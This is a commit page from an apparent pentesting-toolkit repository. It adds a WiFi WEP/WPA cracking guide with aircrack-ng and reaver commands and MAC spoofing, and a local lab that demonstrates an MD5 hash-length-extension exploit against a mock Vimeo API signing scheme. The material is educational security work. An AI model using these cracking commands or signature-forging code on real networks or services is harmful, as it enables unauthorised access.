mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-06-18 20:09:11 -04:00
some small fixes
This commit is contained in:
parent
4f8d5148af
commit
16757b10ac
412 changed files with 139509 additions and 0 deletions
103
802.11 /CRACKING.md
Normal file
103
802.11 /CRACKING.md
Normal file
|
@ -0,0 +1,103 @@
|
|||
***********************************************
|
||||
|
||||
BT3GL's Hacking Guide
|
||||
|
||||
***********************************************
|
||||
|
||||
Disclaimer: I do not support or endorse any illegal activities! Only test these techniques in your OWN machines and networks.
|
||||
|
||||
|
||||
THEORY:
|
||||
=======
|
||||
|
||||
WEP
|
||||
---
|
||||
|
||||
WEP, or wired equivalent privacy, was the first wireless security scheme employed. As it name implies, it was designed to provide security to the end-user that was essentially equivalent to the privacy that was enjoyed in a wired environment. Unfortunately, it failed miserably.
|
||||
|
||||
For a number of reasons, WEP is extraordinarily easy to crack because of a flawed implementation of the RC4 encryption algorithm. It's not unusual to be able to crack WEP in less than 5 minutes. This is because WEP used a very small (24-bit) initialization vector (IV) that could be captured in the datastream, and this IV could then be used to discover the password using statistical techniques.
|
||||
|
||||
|
||||
WPA
|
||||
---
|
||||
|
||||
WPA was the response by the industry to the revealed weaknesses of WEP. It's often referred to as WPA1 to distinguish it from WPA2.
|
||||
|
||||
WPA used Temporal Key Integrity Protocol (TKIP) to improve the security of WEP without requiring new hardware. It still uses WEP for encryption, but it makes the statistical attacks used to crack WEP much more difficult and time-consuming.
|
||||
|
||||
|
||||
WPA2-PSK
|
||||
--------
|
||||
|
||||
WPA2-PSK is the implementation of WPA2 for the home or small business user. As the name implies, it's the WPA2 implementation that uses a pre-shared key (PSK). It's this security standard that is used by most households today, and although it's far more secure, it's still vulnerable to various attacks.
|
||||
|
||||
A feature that was added in 2007 called Wi-Fi Protected Setup, or WPS, allows us to bypass the security in WP2-PSK .
|
||||
|
||||
WPA2-AES
|
||||
WPA2-AES is the enterprise implementation of WPA2. It uses the Advanced Encryption Standard or AES to encrypt data and is the most secure. It's often coupled with a RADIUS server that is dedicated for authentication.
|
||||
|
||||
|
||||
|
||||
|
||||
CRACKING WIFI PASSWORDS:
|
||||
========================
|
||||
|
||||
|
||||
Cracking WEP
|
||||
------------
|
||||
(Success depend on the proximity to the AP point)
|
||||
|
||||
1) Change your MAC address:
|
||||
|
||||
$ airmon-ng ---> take note of the name of your network interfaces (example wlan0)
|
||||
$ airmon-ng stop INTERFACENAME
|
||||
$ ifconfig INTERFACENMAE down
|
||||
$ macchanger --mac 00:11:22:33:44:55
|
||||
|
||||
2) Pick your network (BSSID):
|
||||
|
||||
$ airodump-ng INTERFACENAME
|
||||
|
||||
3) See what's happening on that network and capture information to a file:
|
||||
|
||||
$ airodump-ng -c CHANNEL -W FILENAME --bssid BSSID INTERFACENAME
|
||||
|
||||
4) Open a new console and type (where the ESSID is the access point's SSID name):
|
||||
|
||||
$ aireplay-ng -1 0 -a BSSID -h 00:11:22:33:44:55 -e ESSID INTERFACE
|
||||
|
||||
$ aireplay-ng -3 -b BSSID -h 00:11:22:33:44:55 INTERFACE
|
||||
|
||||
5) Once you have collected enough data, launch a third console to crack the data:
|
||||
|
||||
$ aircrack-ng -b BSSID FILENAME-01.cap
|
||||
|
||||
|
||||
|
||||
Cracking WPA
|
||||
------------
|
||||
|
||||
It can take up to 2-6 hours. It can cause DoS attack.
|
||||
If the router has MAC filtering, use a network monitoring tool to find a MAC address of a system that has a connection to the router, and then set that to the address of the attack platform.
|
||||
|
||||
1) Find your wireless card:
|
||||
|
||||
$ iwconfig
|
||||
|
||||
2) Put your wireless card into monitor mode:
|
||||
|
||||
$ airmon-ng start wlan0
|
||||
or
|
||||
$ ifconfig wlan0 down
|
||||
$ iwconfig wlan0 mode monitor
|
||||
$ ifconfig wlan0 up
|
||||
|
||||
3) Find the BSSID of the router to crack:
|
||||
|
||||
$ airodump-ng wlan0 --> mon0 if this does not work
|
||||
|
||||
4) Crack a Network's WPA password with Reaver:
|
||||
|
||||
$ reaver -i mon0 -b BSSID -vv
|
||||
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
Hash Extension Attack at the Vimeo API
|
||||
======================================
|
||||
|
||||
This tutorial is a slight adaptation of Filippo Valsorda's presentation. The example here should not work currently, but it was a vulnerability a couple of years ago.
|
||||
|
||||
The problem presented here shows how to exploit a poor choice combination of information in an API hash-function.
|
||||
|
||||
TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
|
||||
|
||||
|
||||
MD5
|
||||
---
|
||||
|
||||
MD5 hashes can't be reversed and are nearly unique (accidental collisions are extremely rare, although possible).
|
||||
|
||||
|
||||
The Vulnerability
|
||||
-----------------
|
||||
|
||||
* A signature is created from a hashed string. This string is a composed of:
|
||||
|
||||
[ PASSWORD ]["api_key"+ api_key ]["method" + method]
|
||||
|
||||
Where password is just the user password and method is the action, for example "vimeo.test.login".
|
||||
|
||||
* This signature is hashed and added as the API signature.
|
||||
|
||||
* Vulnerability 1: if we can see the hash, we can add code to it (extend).
|
||||
|
||||
* Vulnerability 2: the secret is attached to the string that was hashed.
|
||||
|
||||
* Vulnerability 3: all the other components (except the secret) is passed in the plaintext in the request.
|
||||
|
||||
|
||||
The Exploit
|
||||
-----------
|
||||
|
||||
* If an attacker can see a request, she can extend the signature hash with any exploit. For example, she could add the method "vimeo.videos.setFavorite"
|
||||
|
||||
* The API signature is now formed by hashing the entire new request.
|
||||
|
||||
|
||||
HOW TO RUN THIS EXAMPLE
|
||||
-----------------------
|
||||
|
||||
* In one terminal run
|
||||
$ python server.py
|
||||
|
||||
* Copy the values
|
||||
api_key cdd56f298e71493b9b1015c691e14501
|
||||
api_sig fdffe59969293f23c197f321ff2f972e
|
||||
|
||||
to client.py and then run it.
|
||||
|
||||
* To understand what happen, look inside client.py.
|
|
@ -0,0 +1,130 @@
|
|||
"""
|
||||
Adapted from Filippo Valsorda's tutorial
|
||||
Marina Wahl, august/2014
|
||||
"""
|
||||
|
||||
from md5 import MD5
|
||||
import binascii
|
||||
import struct
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
# change the values from the server at
|
||||
# localhost:4242 here
|
||||
API_KEY = '3662b89cf7b76743831420a4fd5cf2df'
|
||||
API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92'
|
||||
|
||||
|
||||
|
||||
# regular request
|
||||
old_request = {
|
||||
'method': 'vimeo.test.login',
|
||||
'api_key' : API_KEY,
|
||||
}
|
||||
|
||||
|
||||
# exploit request
|
||||
new_request = {
|
||||
'method': 'vimeo.videos.setFavorite',
|
||||
'api_key' : API_KEY,
|
||||
'video_id' : '1337',
|
||||
'favorite' : '1',
|
||||
}
|
||||
|
||||
|
||||
|
||||
# concatenate all the string
|
||||
def concatenate(req):
|
||||
res = ""
|
||||
for k, v in sorted(req.items()):
|
||||
res += k
|
||||
res += v
|
||||
return res
|
||||
|
||||
|
||||
# adapted from the function md5, just add the paddings
|
||||
def make_md5_pad(l):
|
||||
length = struct.pack('<Q', l * 8)
|
||||
padding = '\x80'
|
||||
padding += '\x00' * ((64 - len(length) - (l+1) % 64) % 64)
|
||||
padding += length
|
||||
return padding
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# Studying the old request
|
||||
old_len = 32 + len(concatenate(old_request))
|
||||
concatenated_old = concatenate(old_request)
|
||||
old_padding = make_md5_pad(old_len)
|
||||
a = concatenate(old_request)[1:] + old_padding
|
||||
|
||||
print("--- ANALYZING THE NORMAL REQUEST ---")
|
||||
print("The length of the (old) string: ")
|
||||
print(old_len)
|
||||
print(" ")
|
||||
print("Concatenated string: ")
|
||||
print(concatenated_old)
|
||||
print(" ")
|
||||
print("Old padding:")
|
||||
print(repr(old_padding))
|
||||
print(" ")
|
||||
print("Full old request:")
|
||||
print(repr(a))
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(a))
|
||||
print(" ")
|
||||
|
||||
|
||||
|
||||
# making the new string
|
||||
suffix = concatenate(new_request)
|
||||
new_padding = make_md5_pad(old_len + len(old_padding) + len(suffix))
|
||||
suffix += new_padding
|
||||
new_md5 = make_md5_pad(30)
|
||||
|
||||
print("--- APPLYING THE EXPLOIT ---")
|
||||
print("Concatenating:")
|
||||
print repr(suffix)
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(suffix))
|
||||
print(" ")
|
||||
print("The new new_md5 is:")
|
||||
print(new_md5.__repr__())
|
||||
print(" ")
|
||||
print("The length is:")
|
||||
print(len(new_md5))
|
||||
print(" ")
|
||||
|
||||
# creating the new string
|
||||
md5 = MD5('')
|
||||
md5.A, md5.B, md5.C, md5.D = struct.unpack('<IIII', binascii.unhexlify(API_SIG))
|
||||
|
||||
while len(suffix):
|
||||
md5._handle(suffix[:64])
|
||||
suffix = suffix[64:]
|
||||
|
||||
new_api_sig = md5.hexdigest()
|
||||
|
||||
print("The new api_sig is then:")
|
||||
print(new_api_sig)
|
||||
print(" ")
|
||||
|
||||
# testing if it works!
|
||||
print("--- TESTING ---")
|
||||
new_request['a'] = a
|
||||
new_request['api_sig'] = new_api_sig
|
||||
url = "http://localhost:4242/api"
|
||||
data = {
|
||||
'method': 'vimeo.test.login',
|
||||
'api_key': API_KEY,
|
||||
'api_sig': API_SIG,
|
||||
}
|
||||
r = requests.post(url, data=new_request)
|
||||
print(r.text)
|
||||
print(" ")
|
||||
|
|
@ -0,0 +1,84 @@
|
|||
# MD5 Python 2 implementation
|
||||
# Copyright (C) 2013 Filippo Valsorda
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# Originally based, even if no code survives, on a Python license work
|
||||
# by Dinu C. Gherman (C) 2001 and Aurelian Coman
|
||||
# http://starship.python.net/crew/gherman/programs/md5py/md5py.py
|
||||
|
||||
import struct
|
||||
import binascii
|
||||
import math
|
||||
|
||||
lrot = lambda x, n: (x << n) | (x >> (32 - n))
|
||||
|
||||
|
||||
class MD5():
|
||||
|
||||
A, B, C, D = (0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476)
|
||||
|
||||
# r specifies the per-round shift amounts
|
||||
r = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
|
||||
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
|
||||
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
|
||||
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]
|
||||
|
||||
# Use binary integer part of the sines of integers (Radians) as constants
|
||||
k = [int(math.floor(abs(math.sin(i + 1)) * (2 ** 32))) for i in range(64)]
|
||||
|
||||
def __init__(self, message):
|
||||
length = struct.pack('<Q', len(message) * 8)
|
||||
while len(message) > 64:
|
||||
self._handle(message[:64])
|
||||
message = message[64:]
|
||||
message += '\x80'
|
||||
message += '\x00' * ((64 - len(length) - len(message) % 64) % 64)
|
||||
message += length
|
||||
while len(message):
|
||||
self._handle(message[:64])
|
||||
message = message[64:]
|
||||
|
||||
def _handle(self, chunk):
|
||||
w = list(struct.unpack('<' + 'I' * 16, chunk))
|
||||
|
||||
a, b, c, d = self.A, self.B, self.C, self.D
|
||||
|
||||
for i in range(64):
|
||||
if i < 16:
|
||||
f = (b & c) | ((~b) & d)
|
||||
g = i
|
||||
elif i < 32:
|
||||
f = (d & b) | ((~d) & c)
|
||||
g = (5 * i + 1) % 16
|
||||
elif i < 48:
|
||||
f = b ^ c ^ d
|
||||
g = (3 * i + 5) % 16
|
||||
else:
|
||||
f = c ^ (b | (~d))
|
||||
g = (7 * i) % 16
|
||||
|
||||
x = b + lrot((a + f + self.k[i] + w[g]) & 0xffffffff, self.r[i])
|
||||
a, b, c, d = d, x & 0xffffffff, b, c
|
||||
|
||||
self.A = (self.A + a) & 0xffffffff
|
||||
self.B = (self.B + b) & 0xffffffff
|
||||
self.C = (self.C + c) & 0xffffffff
|
||||
self.D = (self.D + d) & 0xffffffff
|
||||
|
||||
def digest(self):
|
||||
return struct.pack('<IIII', self.A, self.B, self.C, self.D)
|
||||
|
||||
def hexdigest(self):
|
||||
return binascii.hexlify(self.digest()).decode()
|
|
@ -0,0 +1,2 @@
|
|||
Flask==0.10.1
|
||||
requests==2.3.0
|
|
@ -0,0 +1,75 @@
|
|||
"""
|
||||
adapted from Fillipo Valsorda's tutorial
|
||||
august/2014
|
||||
"""
|
||||
|
||||
import os
|
||||
import binascii
|
||||
import md5
|
||||
import urlparse
|
||||
from flask import Flask, request, abort, render_template
|
||||
|
||||
|
||||
PORT = 4242
|
||||
USER_ID = 42
|
||||
USER_NAME = "Jack"
|
||||
API_KEY = binascii.hexlify(os.urandom(16))
|
||||
API_SECRET = binascii.hexlify(os.urandom(16))
|
||||
app = Flask(__name__)
|
||||
|
||||
|
||||
|
||||
|
||||
def sign_req(values, secret):
|
||||
s = secret
|
||||
for k, v in sorted(values.items()):
|
||||
s += k
|
||||
s += v
|
||||
return md5.MD5(s).hexdigest()
|
||||
|
||||
|
||||
@app.route('/')
|
||||
def show_info():
|
||||
req = {
|
||||
"method": "vimeo.test.login",
|
||||
"api_key": API_KEY
|
||||
}
|
||||
|
||||
return render_template('info.html',
|
||||
user_id=USER_ID, api_key=API_KEY, user_name=USER_NAME,
|
||||
api_sig=sign_req(req, API_SECRET))
|
||||
|
||||
@app.route('/api', methods=['POST'])
|
||||
def handle_api():
|
||||
values = dict(urlparse.parse_qsl(request.get_data()))
|
||||
|
||||
if not 'api_sig' in values: abort(400)
|
||||
if not 'api_key' in values: abort(400)
|
||||
if not 'method' in values: abort(400)
|
||||
|
||||
if values['api_key'] != API_KEY: abort(403)
|
||||
api_sig = values['api_sig']
|
||||
del values['api_sig']
|
||||
if sign_req(values, API_SECRET) != api_sig: abort(403)
|
||||
|
||||
if values["method"] == "vimeo.test.login":
|
||||
return render_template("user.xml", user_id=USER_ID, user_name=USER_NAME)
|
||||
|
||||
elif values["method"] == "vimeo.videos.setFavorite":
|
||||
if not 'video_id' in values: abort(400)
|
||||
if not 'favorite' in values: abort(400)
|
||||
|
||||
if values["video_id"] != '1337': abort(404)
|
||||
|
||||
return render_template("ok.xml")
|
||||
|
||||
else:
|
||||
abort(404)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.debug = True
|
||||
app.run(port=PORT)
|
Binary file not shown.
After Width: | Height: | Size: 1.5 KiB |
Binary file not shown.
After Width: | Height: | Size: 7.4 KiB |
Binary file not shown.
After Width: | Height: | Size: 1.3 KiB |
Binary file not shown.
After Width: | Height: | Size: 1.1 KiB |
|
@ -0,0 +1,444 @@
|
|||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html><head><title>Signing API Calls</title><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><link rel="canonical" href="http://archive.is/xte1C"/></head><body style="margin:0;background-color:white;width:1024px"><div class="html1" style="width: 1024px;text-align: left;overflow-x: auto;overflow-y: auto; background-color: rgb(231, 231, 222);position: relative;min-height: 1111px;; z-index: 0"><div class="html" style="text-align:left;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; ">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<meta name="description" content="Use Vimeo to share your videos with only the people you want to. We have a bunch of privacy options so you can choose exactly who can see your videos, like just your friends or everybody."/>
|
||||
<meta name="keywords" content="video,video sharing,digital cameras,videoblog,vidblog,video blogging,home video,home movie,lip dub"/>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="body" style="vertical-align:bottom;min-height:1041px;color:rgb(0, 0, 0);text-align:left;font-family:verdana, sans-serif;min-width:800px;overflow-x:visible;overflow-y:visible;margin: 0px; padding: 0px; "><div style="text-align:left;position:relative;min-height:70px;min-width:800px;display:none;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 0px; ">
|
||||
<div style="position:absolute;min-width:780px;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABBJREFUeNpi+v///zOAAAMACewD5vzlV+IAAAAASUVORK5CYII=);text-align:center;-webkit-box-shadow:rgb(51, 51, 51) 1px 1px 3px;box-shadow:rgb(51, 51, 51) 1px 1px 3px;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;border-width: medium 5px 5px; border-style: none solid solid; margin: 0px; padding: 0px; border-color: white rgb(0, 0, 0) rgb(0, 0, 0); ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:100%;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(0, 0, 0);vertical-align:top;min-width:110px;margin: 0px; padding: 10px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/" target="_blank" title="Wayback Machine home page" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Wayback Machine" src="3a9f28ab386fe482d4f126969618a9d717b44b86.png" style="height:39px;width:110px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
<td style="color:rgb(0, 0, 0);text-align:center;vertical-align:top;width:100%;margin: 0px; padding: 0px; ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:570px;margin: 0px auto; padding: 0px; "><tbody style="margin: 0px; padding: 0px; "><tr style="margin: 0px; padding: 0px; ">
|
||||
<td colspan="2" style="color:rgb(0, 0, 0);margin: 0px; padding: 3px 0px; ">
|
||||
<form action="javascript:void(0)" method="get" target="_top" style="margin: 0px; padding: 0px; "><input name="url" value="http://vimeo.com/api/docs/signing" style="text-align:left;width:400px;font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="type" value="replay" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="hidden" name="date" value="20090305043551" style="text-align:left;outline: invert none 0px; margin: 0px; padding: 0px; "/><input type="submit" value="Go" style="font-size:11px;font-family:'Lucida Grande', Arial, sans-serif;width:inherit;outline: invert none 0px; margin: 0px 0px 0px 5px; padding: 0px; "/><span style="display:block;margin: 0px; padding: 0px; "></span></form>
|
||||
</td>
|
||||
<td rowspan="2" style="color:rgb(0, 0, 0);vertical-align:bottom;margin: 0px; padding: 5px 0px 0px; ">
|
||||
<table style="-webkit-border-horizontal-spacing:0px;-webkit-border-vertical-spacing:0px;border-collapse:collapse;width:110px;color:rgb(153, 153, 170);font-family:Helvetica, 'Lucida Grande', Arial, sans-serif;margin: 0px; padding: 0px; "><tbody style="margin: 0px; padding: 0px; ">
|
||||
|
||||
<tr style="width:110px;height:16px;font-size:10px;margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="4 Feb 2009" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">FEB</strong></a>
|
||||
</td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;text-transform:uppercase;width:34px;height:15px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">MAR</td>
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-transform:uppercase;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">DEC</strong></a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:right;vertical-align:middle;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090204125252/http://vimeo.com/api/docs/signing" target="_blank" title="12:52:52 Feb 4, 2009" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Previous capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMZJREFUeNqU07EKQWEUwHEuSSaLkicgg3TZzCySvIKk2GVgJZmsBg9g8QK8gcHoASwGNoMS/l+db6Au3zn1W279b+fe796w779Cyimi7ymCFBbYox51CGLoYIS0XHv+C2uYynofExRmJWgG3fE7TGKMHuK/VrFhRJ7DRBmXN2XCBibIa87Ek5US2sM04Ro5DHDRhGbumMu6SzxcQztndFHGVhPaOaCKFo6a0Iz5+jcoYYira2jnhhkKWNlO83ec0EYFu7cAAwCVABzGI3/GxAAAAABJRU5ErkJggg==" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);width:34px;height:24px;text-align:center;font-size:24px;font-weight:bold;margin: 0px; padding: 2px 0px 0px; ">5</td>
|
||||
<td style="color:rgb(153, 153, 170);white-space:nowrap;overflow-x:visible;overflow-y:visible;text-align:left;vertical-align:middle;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="21:57:46 Dec 7, 2011" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><img alt="Next capture" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAQCAYAAAAmlE46AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMhJREFUeNqU0s8KAUEcwPHBJjm5KHkCV+07cJHkKZRyUK6cKYeVPxd5BVcHjspB+VPKA7g4cHNQwndqp/awMb9ffdra+jazMxtx3c9UKTXCTgkmihK28JCWhG//2cARdcRtwuBkMMQGRUloJo8F5shJQjMV/9D6SElCPQk0cUINMdvQTBYTHFCWhGaSeheOILihiwGeNuELM7RxNS//hUu0sLe9jjOqKIRFYSve0fP/nsevrTiBVfV3dHCxOSkdrjDGWnInXwEGAM40IjLd/vWIAAAAAElFTkSuQmCC" style="height:16px;width:14px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<tr style="width:110px;height:13px;font-size:9px;margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;text-align:right;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 9px 0px 0px; ">
|
||||
2008 </td>
|
||||
<td title="You are here: 4:35:51 Mar 5, 2009" style="background-color: rgb(0, 0, 0); color:rgb(255, 255, 0);font-weight:bold;width:34px;height:13px;text-align:center;font-size:11px;margin: 0px; padding: 1px 0px 0px; ">2009</td>
|
||||
<td style="color:rgb(153, 153, 170);font-weight:bold;white-space:nowrap;overflow-x:visible;overflow-y:visible;font-size:11px;margin: 0px; padding: 0px 0px 0px 9px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20111207215746/http://vimeo.com/api/docs/signing" target="_blank" title="7 Dec 2011" style="cursor:pointer;text-decoration:none;color:rgb(51, 51, 255);font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">2011</strong></a>
|
||||
</td>
|
||||
</tr>
|
||||
</tbody></table>
|
||||
</td>
|
||||
</tr>
|
||||
<tr style="margin: 0px; padding: 0px; ">
|
||||
<td style="color:rgb(0, 0, 0);vertical-align:middle;margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551*/http://vimeo.com/api/docs/signing" target="_blank" title="See a list of every capture for this URL" style="text-decoration:none;cursor:pointer;color:rgb(51, 51, 255);font-size:11px;font-weight:bold;background-color: transparent; outline: invert none medium; border-width: medium; border-style: none; margin: 0px; padding: 0px; border-color: white; "><strong style="margin: 0px; padding: 0px; ">36 captures</strong></a>
|
||||
<div title="Timespan for captures of this URL" style="color:rgb(102, 102, 102);font-size:9px;white-space:nowrap;width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;margin: 0px; padding: 2px 0px 0px; ">27 Jul 08 - 7 Dec 11</div>
|
||||
</td>
|
||||
<td style="color:rgb(0, 0, 0);margin: 0px; padding: 0px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/api/docs/signing" target="_blank" style="text-decoration:none;color:rgb(39, 134, 194);cursor:pointer;position:relative;white-space:nowrap;width:475px;height:27px;outline: invert none medium; margin: 0px; padding: 0px; ">
|
||||
<div title="Explore captures for this URL" style="position:relative;white-space:nowrap;height:27px;background-color: rgb(255, 255, 255); cursor:pointer;border-right-color:rgb(204, 204, 204);width:inherit;border-top-left-radius:0px 0px;border-top-right-radius:0px 0px;border-bottom-right-radius:0px 0px;border-bottom-left-radius:0px 0px;z-index:2147483640;border-width: medium 1px medium medium; border-style: none solid none none; margin: 0px; padding: 0px; ">
|
||||
<img alt="sparklines" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdsAAAAbCAYAAAA05SU0AAABUElEQVR42u3VwQmEMABFwdTp2XI8WlZKsYcYBQ8GUcEEQSfgZVkYyBdfiDGm0PgwGAwGg/FnY0Xy6Vo+DAaD8baRP3fLBzXdM/qx5WOPfxliy2AwxFZsGWLLYDAYYmtzsTUIg8EQW7FliC2DwWCILUNsGQwGQ2xtLrYui8FgfCW2V9EVW4bYMhgMhtjaXGwNwmAwxFZsGWLLYDDEVmwZYstgMBhia3OxNQiDwRBbsWWILYPBYIgtQ2wZDAZDbG0uti6LwWCIrdgyxJbBYDDE1uZiaxAGgyG2Yiu2YstgMMRWbBliy2AwGE+MMrJiyxBbBoPBEFubi61BGAzGN2O7/S62DLFlMBiMSrEto3sU2+23KQzrI7ZHd+XdFVsGgyG2Yiu2YstgMBhiK7Zi67IYDIbYiq3Y1ohtaHwYDAbjRSNdPLv/FcYutvY4vSvv7smZAb6UKOzjufhcAAAAAElFTkSuQmCC" style="height:27px;width:475px;position:absolute;z-index:9012;top:0px;left:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP4/5/hPwAH/QL+ecrXpAAAAABJRU5ErkJggg==" style="height:27px;width:25px;display:none;position:absolute;z-index:9010;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAA1JREFUCNdjeMPQ8x8ABcwCeP+6qaAAAAAASUVORK5CYII=" style="height:27px;width:2px;display:none;position:absolute;z-index:9011;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</div>
|
||||
</a>
|
||||
</td>
|
||||
</tr></tbody></table>
|
||||
</td>
|
||||
